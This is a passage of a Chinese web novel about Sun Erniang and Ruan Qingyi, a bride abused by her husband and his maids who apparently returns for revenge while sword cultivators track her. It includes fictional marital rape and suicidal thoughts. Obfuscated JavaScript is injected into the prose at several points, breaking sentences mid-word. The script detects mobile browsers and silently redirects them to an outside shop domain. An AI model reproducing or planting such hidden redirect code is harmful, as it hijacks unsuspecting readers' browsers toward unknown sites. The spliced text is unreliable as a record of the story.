孙二娘站在屋中央,让训诫她的话从左耳朵进右耳朵出,态度看着挺好,就是不松口:“哥嫂搬去了钟灵郡,若我嫁人了,娘岂不是要一个人孤苦伶仃留在家里?” 孙夫人对她怒目而视,手指着大门口:“我老婆子就算是死了,也不用你这个不孝女管!你赶紧给我滚!滚!” 孙二娘也来了气,转身就夺门而出,一路抹着眼泪跑到桥上,看着桥下的流水更是伤心,想着她娘这么不识好歹,那不如她直接跳下去一了百了,省得受那老婆子的气! “姑娘!”一道清脆的女声打断了桥上人的哀思。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165234|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 孙二娘回头,看到一个一身白的女子脸色慌张地提裙跑来,眉梢眼角都带着忧色:“姑娘莫要寻短见!” 她忍不住上下打量这人,嘴硬道:“你怎知我要寻短见?我只是在这里赏赏景色而已,才没有想跳下去。” 白衣女子身上还背着行李,满身风尘仆仆的倦意,却难掩其姿色之姝丽。 她闻言也只是笑:“这再好不过了,此时虽是寂寥深秋,却也别有一番意境。” 孙二娘看她从头到脚都一身白,猜测她是为家人戴孝,又想起自己家里那个硬脾气的老婆子,心里怄着的那口气就这么散了,转而盘问她:“你不是我们平松县的人吧?” 白衣女子点点头:“我是晚堂县的,家中父母……皆因病去世,此次来平松县,是为找我未婚夫婿。” “哦?”孙二娘饶有兴趣地问,“你那未婚夫婿叫什么?兴许我还认识呢。” “李望山。”女子脸颊微红,似是有些不好意思。 “李家啊,”孙二娘抓起她的手便往桥下走,“李夫人常与我娘在一处吃茶,我带你去李家好了。” 白衣女子眼神微动:“你与他们家很相熟?” 孙二娘点点头:“李家人是出了名的好脾气,待街坊邻里都极好,从未跟人红过脸。你放心,他们必会收留你、好好对待你的。” “不过,”她话头一转,“李望山这个人……” 白衣女子一愣,被她抓着的手心都冒了汗。 孙二娘见她紧张,忍不住笑道:“他可是个书呆子,一心要考取功名,没什么意思。” 女子松了口气,替人辩白道:“有心上进,这是好事。” 她爹当年和李家老爷李凭风便是科考时认识的,二人虽然都未考取功名,却相见恨晚,彼此之间引为知己,早早为自家的孩子定下了娃娃亲,甚至他爹的临终遗言便是要她来投靠李家,后半生好有个依靠。 “还未过门呢,你就替他说上话了?”孙二娘忍不住打趣她,惹得白衣女子白皙的脸颊染上了两团红晕。 二人说着话,很快就到了李宅门口,孙二娘前去敲门,正巧遇到要出门的李夫人,便把白衣女子的来历告知了对方。 “好孩子,快过来让我看看你。”李夫人生就一张慈眉善目的菩萨面,让人看一眼就心生亲切。 白衣女子一开始还有些羞怯,在李夫人的安抚下,竟是依偎在其怀里将父母双亡的苦楚吐露了出来,眼泪涟涟的模样颇惹人怜惜。 孙二娘不好意思再逗留下去,便向人告辞,结果刚走出两步,又想到了件要紧事,回头问她道:“哎,你还没告诉我,你叫什么名字呢。” 白衣女子清脆的嗓音里还带着点哭腔,回她道:“阮卿依。” 卿依,卿依。孙二娘琢磨着这个名字。 想来她父母必是爱女心切,想要她一辈子都能有所依靠,不至于陷入孤苦无依的地步。 如今她虽父母双亡,但是有良善的李家愿意收留她,这很好。 9. 二娘 腊月间,孙二娘给自家娘亲烫好了酒,就上街看热闹去了。 北凛州各郡县每到腊月十五便会举办百灯节,这一日街上处处是花灯摊,处于暧昧期的男女可借由互赠花灯来表明心迹。 孙二娘将自己熬成了老姑娘,已经许多年未曾收到旁人送的花灯了。 她自己觉得没什么,只顾着流连在不同花灯摊前看样式,不时与摊主攀谈几句,倒也十分自在。 正当她看够了热闹,准备往回走时,一道清脆的声音让她猛地停下了脚步。 “好了好了,别买了,已经有莲花灯和鲤鱼灯了,再买……家里该挂不下了。” 她回头看去,见阮卿依正被李望山护在身前,免受人群拥挤,手里提了两盏做工精美的花灯,整个人在葳蕤的灯火中更显明眸善睐。 李望山还是那副读书人的打扮,伸出一只胳膊将人圈在怀里,低头调笑道:“可我看那蟾宫灯上的仙子和我家卿依竟有九分相似,便忍不住想买了送你。” 阮卿依双颊染上红晕,只得任他又买了一盏灯提着。 二人一边赏灯一边喁喁私语,任谁看了都要赞上一句佳偶天成。 孙二娘看着二人的身影逐渐淹没在人群里,心里也暗暗为阮卿依高兴。 没想到那李望山看着像个古板的书呆,私下里却是个会疼人的,卿依那般柔弱的女子,有这样一个丈夫肯护着她,也算是有个好归宿。 斗转星移,眼前之景骤然变成了张灯结彩的李宅。 孙二娘扎在人堆里看热闹,看着八抬大轿停在了李宅门口,一身红的新郎官将新娘从轿子里牵了出来,一路上小心体贴,时不时便提醒一句“有台阶”“有门槛”,惹得周遭看热闹的街坊邻里、亲朋好友又是一阵善意的哄笑,都说他们李家人向来最会疼人。 “这阮氏真是修了八辈子福,居然能嫁给李家公子。” “你在这儿酸溜个什么劲儿?往年你去相看,人家虽说没明说,但意思就是没看上你。这都过去多久了,还惦记着呢?” “不过是长了一张妖娆的脸,这才让旁人迷了心窍。这种好色的男人,我还不稀罕呢!” 孙二娘给了那泼妇一个白眼,暗骂一句“扫兴”,随后便挤到廊下,欢欢喜喜地去看新人拜堂了。 李老爷和李夫人坐在高堂上,都是眼带笑意,看样子是对自己的儿媳妇十分满意。 阮卿依戴着红盖头,一身裁剪合身、做工精美的嫁衣衬得她身姿绰约。 孙二娘打心眼里为她感到高兴。她们二人虽然只在初见那天说了一会儿话,她却从心底将阮卿依当成自己的朋友,见朋友觅得佳婿,她自然欣喜。 所以她便多吃了两杯酒,最后还闹笑话醉倒在了席面上。 意识模糊之间,她依稀感觉到有一双手在摸自己,随后又听见两个人似乎在吵架,但是她头脑昏沉,实在是爬不起来、睁不开眼,只能在醉意里慢慢失去了意识。 等她醒来的时候,她娘甫一看人睁开眼,抡起胳膊便将一巴掌招呼到了她脸上,恨恨道:“我看你是长了出息了,还敢在别人的喜宴上喝醉酒!” 孙二娘被这一巴掌打蒙了,捂着脸愣愣地看着她娘。 孙夫人虽说性情暴躁,却很少有这样跳脚大怒的时候。 “我让你兄长明日来接你,正好你也去钟灵郡长长见识,省得你日日在家里与老婆子我相看两厌!” 孙二娘总觉得是昨日喜宴上发生了什么大事,但是她兄长对此也是一头雾水,偏她娘一脸讳莫如深,勒令她半年内不许回平松县,她只得将此事暂且搁下。 再见阮卿依已是半年后。 孙二娘实在放心不下娘亲独自住在平松县,便央了哥嫂,雇了辆牛车,悄悄赶了回来。 结果她刚从车上下来,一个披头散发、状若癫狂的女子便从巷子里蹿了出来,仿佛后面有恶犬在追着她咬。 没等她跑出几步,两个小厮便追出来将人拖了回去。 孙二娘忍不住向旁边豆腐店的老板娘打听。 对方一边嗑瓜子,一边漫不经心地回答:“哦,是那李家的阮氏,刚过门便得了疯病,现下是一天比一天严重,眼看是没得治了。” 孙二娘如遭雷劈,脚步匆匆地就想去李宅问个明白,结果半路上遇到了她娘,愣是被孙夫人拽回了家。 “你以后离李宅远些,不许再去那条巷子。”孙夫人杀了半辈子猪,手上很是有些蛮力,直接将孙二娘扯进祠堂关了起来。 孙二娘在里面干嚎:“不行,我得去看一眼啊娘,你让我去问明白!” “人家的家务事究竟与你一个老姑娘有什么干系,你别上赶着去惹一身臊!”孙夫人在门口啐了一口,“那李家是何等虚伪的一户下流人家,也值得你三番两次跑去招惹!” “娘!”孙二娘有些震惊,她娘之前不是和李夫人交好吗,怎会说出这样一番话。 孙夫人冷笑道:“你可知那李望山成亲之日做了什么吗?” “要是老婆子我再晚点到,你就在人家的喜宴上,被他活活玷污了清白啊!” “什么?”孙二娘惶急地拍打着祠堂门,“娘你说清楚,到底怎么回事?” “怎么回事?亏你还巴巴地去给那畜生送贺礼,他却趁你醉了酒,嘴上说着要差婢女送你回家,背地里竟将你拐到厢房里欲行那猪狗不如之事!若不是新娘子与他有一番纠缠,等你娘我赶到,你就成了这天底下最大的笑话了!” 孙夫人说完就气得头晕,恨不得磨了杀猪刀直接上门劈死那獠! 孙二娘听外面的脚步声逐渐远了,全身失力一般瘫坐在了地上。 不对不对不对。 分明不是这样的! 卿依和李望山明明那般恩爱,怎么会是这样呢? 她根本难以将初见那天温文尔雅的女子与今日街上那个脏污癫狂的疯子想为一人。 区区半年而已。 她竟有了物是人非的感觉。 后来,孙夫人终究不忍心,将孙二娘从祠堂里放了出来,但也对她严加看管,不许她再往李家那条巷子去。 孙二娘出来之后才知道,李家的疯儿媳已经跑了,许多天不曾回来。 没了官府和宗门的庇护,外面妖魔鬼怪横行,她一个疯了的弱女子,结局如何可想而知。 孙二娘心里难过,许多天吃不下饭,思来想去,还是偷偷置办了纸钱,趁着孙夫人今日看她看得不紧,悄悄在门口的大槐树下给阮卿依烧纸钱。 生怕地底下的人收不到,她还拿起多年未碰的毛笔,在每一张纸钱上面歪七八扭地写下了阮卿依的名字。 这样难写的名字,她却写了厚厚一沓,然后一张一张烧给那人,直到胸前的衣服湿了一大片,她才意识到自己不知何时已经泪流满面。 到底为什么啊? 她只是一个没了爹娘的弱女子啊。 凭什么就对她如此不公,竟要逼她至此! “二娘。” 她猛地抬起头,正对上一双含笑的眼眸。 阮卿依站在槐树下,身着一袭红装,仍是昔日里那副姿色姝丽、明眸善睐的模样,仿佛她娘说的那些都是胡话——她明明在成亲后过得很幸福,所以现在好好地站在了她面前。 “你……”孙二娘的眼泪简直止不住,站起身来走到她跟前,甚至不敢伸手碰她,生怕这只是她犯了病后看到的幻影。 阮卿依伸手将她的碎发别至耳后,嗓音却不复往日清脆,带上了点哑:“这半年来你还好吗?” 不好,一点都不好。 尤其在知道你过得很不好之后。 “对不起,”孙二娘泣不成声,“那日……那日我不该把你带去李家……对不起……” “这与你无关,”阮卿依想为她擦眼泪,突然又想起了什么,便黯然收回了手,“不管那天有没有遇到你,我总归是会去李家的。” 孙二娘突然想起了地上的纸钱。 她胡乱用袖子抹了抹眼泪,低头看去,发现纸钱已经被烧得差不多了,仅剩的几张上还能看到“阮卿依”三个大字。 不等她解释什么就被人一把抱住了。 “二娘,谢谢你。” 孙二娘的眼泪又落了下来:“我还以为……还以为你……” 阮卿依放开她,提着裙摆在她面前转了一圈,像极了一朵盛开的红莲。 “我今日好看吗?” 孙二娘含着泪点头:“好看,特别特别好看。” “那就好,办喜事的日子就应该好看。”阮卿依又对她笑了笑,“好了,我要走了。” “你去哪?”孙二娘一把抓住她的衣袖,“你别回李家了。” “我们家还有两间厢房,只要你不嫌弃我娘脾气暴躁,大可以住在我家。”她央求一般看着对面的红衣女子,“你若不想留在平松县,我带你去钟灵郡,我哥嫂在那边……” “二娘。”阮卿依的眼神不知何时变得复杂了,看似平静的表象下是汹涌的情绪。 而她却只能读懂其中的悲伤。 “我有我自己的事情要做,你回家吧。” “我可以帮你……”孙二娘仍旧抓着她的袖子不放。 阮卿依狠下心将她的手指一根一根掰开,语气淡漠:“你帮不了。” 孙二娘冥冥之中预感到了她要去做什么,却只能无能为力地放她离开。 “卿依!”她追出去一步,声音却越来越低,几乎要被风吹走,“你现在好吗?” 阮卿依对她回眸一笑,脸上的快意不似作伪:“我很好。” 一阵风吹过,眼前的红衣女子转瞬便消失不见了,仿佛刚刚出现的当真只是她犯了癔症后凭空幻想出来的泡影。 翌日,一整晚翻来覆去睡不着觉的孙二娘还是决定去李家看一看。 她瞒着她娘出了门,然后在李宅廊下看到了一溜的尸体。 其实她并没有落荒而逃,反而在那屋檐底下仰着头逐一确认了——阮卿依不在里面。 孙二娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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孟知匀转身走向薛昱,拿出一张宣纸,“唰唰”几下便把孙二娘那套衣服的样子绘了出来:“我们现在去孙宅,依据孙二娘的气息,找这套衣服。” 薛昱接过宣纸,大概扫了一眼后“嗯”了一声。 不等二人离开,一直麻木坐在后面的孙二娘却“噗通”一声跪下了。 她腰背挺直,声音朗朗。 “仙师,你们说,这上天真的有公道可言吗?” * 孙二娘推开自己的房门,将昨晚的那套衣服递给了孟知匀。 薛昱已经在旁边布下了追灵阵,然后右手微抬,将那件衣衫上的一滴泪水点入了阵法内,像突然往平静的湖里扔进了一块石头,使阵法陡然泛起涟漪。 若是肉体凡胎留下的踪迹,便呈红色,若是修行中人留下的痕迹,则会显现其灵根气韵的色泽。 他看着眼前这道半红半白的踪迹,眉头微皱:“随我来。” 薛逢梨和孟知匀一人抓着孙二娘的一条手臂,同时提气御风,直接带她飞了起来。 兢兢业业守在李宅门口的刘县令正等得焦头烂额,在原地来回踱步了十几圈,刚想派人去敲门询问,就见几个仙师乘风而起,竟直接飞走了,后面两个仙师甚至还把孙家那个老姑娘给带上了。 衙役和县令一同呆若木鸡般目送着几人离去。 孙二娘何曾体验过这种一飞冲天的滋味,不仅腿肚打颤,脸色也是苍白如纸,刚想开口说话,就被风堵了嘴。 由于追灵阵的痕迹贴近地面,所以他们不能御剑,一遭御风下来,孙二娘扶着树就开始“哇哇”吐。 “我们飞得很快吗?”孟知匀不自在地咳了几声。 她想过有人可能会恐高、会晕剑,万万没想到还会有人晕风。 薛逢梨也有些不好意思,只得道:“毕竟凡人体质不比修士,难免会有不适应。” 薛昱不知道从哪舀来了一碗清水,递给薛逢梨,朝着孙二娘的方向微微抬了抬下巴。 薛逢梨心领神会,端着清水就去找孙二娘了。 孟知匀朝他身后张望,看到不远处有一座茅屋。 “怎么,师妹也想喝水?”薛昱不动声色往左挪了一步,挡住了她的视线。 孟知匀的目光从他的胸肌挪动到喉结,最后才挪到那张脸上:“没有,只是好奇师兄是从何处找来水而已。” 以往她在山上遇到薛昱时,总是处于一种半死不活的麻木状态中,恨不得倒头就睡,倒是没怎么欣赏过他的美色。 眼下可是他自己凑过来的,不看白不看。 薛昱垂眸看着她,发现这人不仅上下打量他,态度还越来越理直气壮,让他觉得有些好笑,便如实回答她:“当然是买来的。” “二文钱一碗。” “什么?”孟知匀有些应激,“这么贵你都买?” 富公哦。 二文钱都够她在山上吃一顿馒头配咸菜的早餐了。 “很贵吗?” 孟知匀煞有介事地点点头:“很贵。” “那你喝不喝?” “你买?” “嗯。” 孟知匀心想君子不吃嗟来之食,出门在外岂能占这种便宜。 区区一碗水而已,怎能折辱了气节! 她重重点了点头,对薛昱露出一个标准微笑:“有劳师兄了。” 10. 剑气 为了照顾不习惯御风的孙二娘,几人赶路的速度放慢了一点,临近傍晚才抵达晚堂县。 阮卿依留下的痕迹远远避开了人多眼杂的村镇,蜿蜒至一个坐落在山脚的小院子。 孟知匀本想直接推门而入,手指还未落到院门上,她又停顿了一下,觉得还是敲门比较好,便转而拿门环拍了拍门。 薛昱走到她身旁:“里面没人。” “这是礼貌,师兄。”孟知匀伸手推开院门,里面并非她想象的那样灰尘遍布、破败不堪,反而处处整洁,甚至连落叶也看不见一片。 薛昱的目光不禁落到她身上。 行,挺有礼貌。 薛逢梨扶着孙二娘走进院子,四下打量了一下,推断道:“看来,阮卿依应该回来过。” 薛昱右掌抬起,缓缓收拢五指,剩下三人眨眼间便置身于丹青水墨画般的黑白中,眼前只有半红半白的网缠绕在一起,昭示着灵韵主人在院内的行动路线。 孙二娘扶着墙看向痕迹指向的地方,仿佛看到了那个身穿红衫的女子在院内缓缓踱步,抚摸过一寸一寸的砖石,与这个她从小生活到大的家依依惜别。 这里不似李宅阔气,甚至颇有些清贫,却处处可见主人生活之温馨。 小时候的阮卿依一定是个正儿八经的书呆,会坐在小凳子上跟着她爹念书,后来她长大了,或许也会喜欢书肆的话本子,或许也曾对才子佳人的故事产生过向往,或许也幻想过自己将来会过上和她爹娘一样平淡但幸福的生活。 可惜,造化弄人,始料未及的命运往往让人变得面目全非。 薛昱从满院的丝网中找到了一根向外蜿蜒的痕迹,回头看向几人:“天色不早了,痕迹通往后面的山林。要现在追过去还是休整一晚?” 他们仨倒是无所谓,主要看孙二娘。 察觉到目光隐隐落到自己身上的孙二娘忙摆了摆手:“我没事,现在已经缓过来了。” 薛昱“嗯”了一声,抬步往门口走去:“那就现在过去。” 阮家小院附近便是一座坟,坟前立着的墓碑上刻着两行龙飞凤舞的字迹: 先父阮经年先母李珍之墓 女阮卿依泣立 但是那道半红半白的灵韵远远避开了这座坟,甚至不惜绕了一个大圈才进入旁边的森森山林。 “等我一下。”孟知匀从怀中拿出两个刚摘下来的柿子,御风而起,几息之间便到了墓前,引来微风拂去了坟墓上的积灰,然后将柿子摆在了上面。 来都来了,还是祭奠一下比较礼貌。 孙二娘远远看着孟知匀,又回头看向阮家门口的柿子树,不由得抿住嘴唇,眼里又泛起一点水意。 柿子树今已硕果累累。 却再也等不到往年采撷柿子的人了。 * 夜色悄然降临,整个山林像是被笼罩了一层轻薄的黑纱,显得静谧又诡异。 薛昱在林子边缘止住脚步,突然回头问孙二娘:“你有什么质地较好的随身物品吗?” 孙二娘愣了一下,解下腰间一个打了络子的翠绿玉佩:“这个可以吗?” “可以。”薛昱抽出雾凇剑,并拢右手的食指和中指,缓缓沿着雾凇的剑铭划过,指尖凝聚的剑气逐渐化作一道白光,随着薛昱手指的引导,慢慢流进了那块玉佩里。 “待会儿如果遇到不测,可拿这道剑气应急。” 进入山林后的情形难以预测,虽然阮卿依大概率不会伤害孙二娘,但是不知里面是否还潜藏着别的危险,只能提前做好应对准备。 薛逢梨见状也依样为孙二娘的银簪添了一道湫水剑的剑气。 看着孙二娘连连道谢、面露感激的模样,孟知匀摸了摸自己破剑的剑柄,内心叹息:“剑兄,你真不争气啊。” 分离剑气不仅需要剑修有较高的修为,还需要以灵气充沛、品质上乘的本命剑作为分离载体。 就她这把破剑,如果硬要从中分一道霸道的春晓剑剑气出来,必然会当场崩出第七个豁口。 以她目前的资产水平,实在承担不起这样的折损,只能作罢。 薛昱却突然将自己的剑递给她:“你用雾凇试试。” 孟知匀像见鬼了一样看着他,差点就脱口而出问他:“你没事儿吧?” 翻译一下,薛昱这句话不亚于把自己儿子领到她面前,并拍着儿子的头说:“来儿子,你也管她叫一声爸爸吧。” 薛逢梨也觉得此事颇为离谱,但是她身为一个乖巧听话懂事了十几年的小师妹,非常有眼力见地保持了沉默,赶紧转过身,没话找话地又跟孙二娘交代了几句激发剑气的注意事项。 偏偏薛昱浑然不觉,还对她挑了下眉:“怎么了?” “这不太行吧。”孟知匀的目光在雾凇剑上逡巡,“本命剑向来认主,我应该不能跟它的灵气共鸣。” 这可不是基础的御剑,是分离剑气诶。 “先试试,”薛昱似乎后知后觉自己的行为有不妥之处,便破天荒地解释了一句,“春晓剑中包含了绵绵生机,你的剑气尤甚,用来护身最合适不过。” 行吧,都这么说了。 那试试呗。 孟知匀接过雾凇剑,屏息凝神探出一缕灵气与雾凇剑共鸣,同时调动周身灵气着重护住自己的心脉和神识。可意料中的阻滞和反噬并没有出现,她极其顺利地和雾凇建立了简单联系。 随着指尖划过剑铭,她将一道淡碧的剑气缓缓送入了孙二娘的长命锁中,然后抬头就和一脸震惊的薛逢梨四目相对。 早知道能成功就背着她弄了。 这下让人有点百口莫辩了。 关键是,她自己也不知道为什么薛昱的本命剑这么配合啊?难道他平日里没少领着雾凇出去管人叫爸爸? 啧啧,没想到高岭之花居然还有这种癖好。 眼看孟知匀的脸色越来越怪异,薛昱收起雾凇剑就往山林里走,丝毫没有想解释什么的意思,徒留师姐妹两个大眼瞪大眼。 无声沉默了片刻,二人只得各怀心思地跟着他走了进去。 从外面看,整片林子漆黑如墨,但他们甫一踏入山林,里面便亮起了点点灯火。 薛逢梨护在孙二娘身边,小心翼翼地探查着周边情况,走了几步后,忽然发现树上挂着的灯盏闪烁了一下,里面如练的火光竟随着他们的脚步跳动到了另一盏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165236|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灯里。 “这是……灵火?”她有些不确定地询问。 灵火,顾名思义便是以灵气形成的火焰,可照明却无火焰的温度,大多出现在灵气充沛的地方。 当然,修士也可以动用自己的灵气来制作灵火,但其损耗较大,且除了照明毫无用处,所以鲜少有人会这么做。 孟知匀仰头凝视着灯盏里的火光:“没错,就是灵火。” 怪不得他们在山林外没看到里面有光亮,应该是藏匿在里面的人刚刚察觉到有人进了林子,这才为他们点燃了灵火灯。 不得不说,还挺贴心。 几人沿着林中小径走了几十米后,前面一棵松树下忽然出现了一道瘦高的身影。 此处的灵火格外亮堂,像是为此地单独开了聚光灯。 灯下的男子身着青色襕衫,五官端正,看起来是个憨厚踏实的读书人。 孙二娘却猛地瞪大了眼睛,后退了一步,指着那人颤声道:“李望山!” 他不是被吊死在房廊下了吗,怎么会出现在这里? 孟知匀握住她的手,伸出食指抵在自己唇前,做了个“噤声”的动作。 孙二娘点点头,伸手捂住了自己的嘴,生怕自己再发出什么声音。 薛昱站在一旁,抱着剑好整以暇地看着树下,仿佛摆在面前的是一出难得的好戏。 树下的李望山似乎毫无察觉有人靠近,手里拿着一册书,正在低声背诵文章,随后,穿着一身嫩黄衣衫的阮卿依从旁边的树影中走了出来,巧笑倩兮:“李郎,时候不早了,小心看书看坏了眼睛。” 李望山放下书,一把将人揽进怀里,低着头飞快吻了吻她的鬓角:“卿依说的是,不过……” “孤枕难眠,你今晚要留下陪我吗?”他促狭一笑,放在女子腰间的手忽然扣紧。 阮卿依浑身一僵,脸颊早已羞红,轻轻推了他一把:“还未成亲呢,莫要再说这种胡话。” 李望山一愣,随即笑道:“是我唐突了,那卿依快去歇下吧,我背完这篇就去休息。” 阮卿依低头盯着自己足尖,细声细气地应了一声,然后便提着裙摆跑了出去。 目送着女子的背影消失在夜色里,李望山转身坐下,翘起一条腿:“还不出来?喜欢当我金屋里藏着的娇娇?” 一个婢女打扮的女子从内帷走了出来,直接坐到了李望山腿上,勾着他的脖子娇嗔:“奴婢以为,少爷有了未过门的妻子,就不需要奴和姐姐来陪了。” “我何时说不要你们了?”李望山凑近她嗅了嗅,“这不是我给卿依买的脂粉吗,怎么你这个做婢女的先用上了?” “珠儿比她先伺候少爷,有好东西,自然也是珠儿先用。”婢女指尖一挑,扯开了自己的衣衫,“少爷说,是不是这个道理?” 李望山的目光顺着她的衣领往下,伸手揉了揉那两团软白:“自然。” “她不愿意的事情,有的是人想做。” 眼看事态发展即将往18+剧情飙去,孟知匀眼疾手快地捂住了薛逢梨的眼睛,轻声道:“少儿不宜,少儿不宜啊。” 薛逢梨不满地撇嘴:“师姐,我不是小孩子了!” 11. 猪笼 眼前的场景像极了一出你方唱罢我方登场的好戏,李望山抱着珠儿走进树影中后,换了一身月牙白衣衫的阮卿依从另一边走了出来。 松树下陡然出现了一个坐在镜前梳妆的女子,穿着打扮和珠儿类似,应该也是李家的婢女。 看到阮卿依走来,那女子不慌不忙地把刚戴在头上的钗子拔下来,起身瞥了她一眼:“姑娘今日怎么起得这么早?” “这钗子……”阮卿依娥眉微蹙,“可是昨日李郎买给我的那支?” 婢女掩唇笑道:“我和珠儿在这府里没规矩惯了,看到新鲜玩意儿便忍不住想试试,姑娘莫要生气。” 阮卿依脸色沉了沉:“月儿,你动我别的东西我不会说什么,唯有这钗子,是李郎送与我的,不好给旁人戴了去。” “姑娘这是说的什么话?”月儿收敛了堆出的笑意,冷眼瞧她,“你没来李家之前,少爷把我们当亲妹子疼爱,平日里金银珠宝也没短了我们的,就这种成色的钗子,我还没放在眼里,不至于就偷了你的。” “我不是这个意思。”阮卿依见她误解,上前拉住她的手,想解释几句。 月儿却不给她这个机会,一把甩开她的手,冷哼一声便跑出了门。 阮卿依低头看向那根珠钗,不禁攥紧了手指,也跟着走了出去。 另一端,李望山刚从树影里转出来,月儿便如乳燕投林般扑进了他怀里,哭哭啼啼地诉说着自己的委屈,末了狠狠一跺脚,恨恨道:“这还没过门儿呢,就摆这样的架子,若她真嫁给了少爷,这家里还有我和珠儿的容身之地吗?” “我今日便去求夫人,不如找人牙子把我们发卖了去,省得在家里碍少夫人的眼!” 李望山一边给她擦眼泪,一边轻声哄:“你与她置什么气?不过爹娘见她可怜,这才让她进门,你们在她面前装装样子便算了,哪里算是她的婢女了?想要什么珠宝,我今日去街上买了给你便是。” 月儿这才破涕为笑,依偎在他怀里:“少爷可要说话算话。” “啪”的一声,那根引起争端的钗子掉在地上,摔成了两截。 阮卿依浑身发抖,一言不发地转身就走。 李望山忙推开月儿,大步追了上去,从后面一把握住了阮卿依的手腕,稍一用力便将人拽进了怀里。 “放开我。”阮卿依白皙的脸颊被气得通红,伸手就推他。 “生气了?”李望山收紧了臂膀,将人紧紧桎梏在自己怀里,“我的卿依生起气来也这样美。” “既有了什么珠儿月儿,李公子又何须娶我这样一个累赘?”阮卿依见挣脱不开,索性不再挣扎,仰起脸质问他,“先前你与我说的种种,怕也当不得真。李公子胸怀宽广,岂能只装一个女人?” 李望山见她吃醋,心里愈发得意,嘴上却道:“她们自幼便被爹娘买来,我看她们可怜,这才将她们二人当成妹妹看待,没想到竟把这两个丫头骄纵成了这般脾性。若是少夫人不喜欢,我今日便把她们打发出府,如何?” “少夫人”三字臊得阮卿依耳垂通红,虽然心里郁气难散,却也不忍心看两个女儿家家的因此被发卖,只当他们先前一起长大,难免乱了礼数。 “倒也不必。”她强行压下了心头的火气,仰头认真地对他说,“不过你心里须得有数,若要好好与我过日子,便不能像往日那般和女儿家拉拉扯扯,弄得不清不白,对她们声誉也不好。” “这是自然。”李望山言之切切,趁机在她唇角啄了一口,“等日后我身边有了卿依,哪里还会多看别的女子一眼?” 阮卿依被他这突如其来的一吻弄得浑身僵硬,却强忍着不适没有推开他。 孙二娘站在一旁看着,手指不由自主握成了拳,恨不得冲上去将这个道貌岸然的伪君子揍成猪头。 不等她咽下这口恶气,就见李望山和阮卿依穿着大红的喜服走了出来。 这正是他们成亲那日的装束。 阮卿依头上的红盖头被扔到了一旁,她双目通红地瞪着李望山,头一遭摆出咄咄逼人的姿态,满脸嫌恶地骂道:“你这个畜生,二娘又哪里招你了,你要这样玷污她清白!” “我都说了是我醉酒后认错人了,何必揪着这件事不放!”李望山恼羞成怒,“我又没真的对她做什么?” “你滚!”阮卿依根本不信,指着贴了喜字的门,冷声嘲讽,“有了珠儿月儿还不够,连二娘你都不放过,李望山,你跟发.情的畜生有什么区别?” 李望山气极反笑,欺身上前一把攥住新娘子的腰,不顾她的挣扎反抗,强行把人拦腰抱起,抬步就往内帷去,脸色冰冷:“既然你都这么骂了,我倒不介意把畜生的名头做实。” “你放开我!”阮卿依死命捶打他,眼泪汹涌而出,声音都气得颤抖,“我要与你和离!” 李望山将人一把扔到床上,伸手就开始宽衣解带,高高在上地看着她,冷笑道:“进了我李家的门,你以为你还能出去吗?” “你要是识相,就好好伺候我,不然,就等着在府里受罪吧。” 孙二娘紧紧捂住了嘴唇,两颊的眼泪却如断线串珠般源源不断地滚落。 灵火灯骤然灭了一瞬,再度亮起时,是阮卿依独自坐在窗前,愣愣地看着外面的风景。 不多时,李望山抱着珠儿走了进来,二人正值浓情蜜意时,瞥见屋内的阮卿依,倏忽便黑了脸:“出去。” 阮卿依连一个眼神都懒得分给他们,起身就要走,却在不经意间看到了珠儿身上佩着的红玉玉佩。 那是她娘留给她的。 别的身外之物她都可以不在乎,唯独这个不行。 “把玉佩还我。”阮卿依的一双明眸如一潭死水般寂静,直直看向缩在李望山怀里的珠儿。 珠儿娇笑道:“少夫人的东西,奴婢当然不敢拿了。” 可没等她把玉佩解下来,李望山便按住了她的手:“她既嫁入了我李家的门,吃我们家的、用我们家的,她的东西自然也是我们家的,现在我把这玉佩赏你了,她又哪来的脸敢把东西要回去?” “这是我娘的遗物。”阮卿依仰着头,看向这个曾对她百般哄劝的男子,心里只觉得讽刺。 李望山对她视而不见,直接将珠儿抱进床帏:“你若想站在这里看我们欢好,我倒也不介意。” 珠儿作势要打他:“讨厌。” 阮卿依恶心得想吐,头也不回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165237|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地摔门离开了。 她终究没能要回那个玉佩,在李望山的默许下,那对姐妹将她的东西挑挑拣拣拿走了大半,还在她的新房里和她的夫君欢好。 留给她的,只有数不尽的冷眼和嘲讽,以及那个畜生起了兴后的强迫。 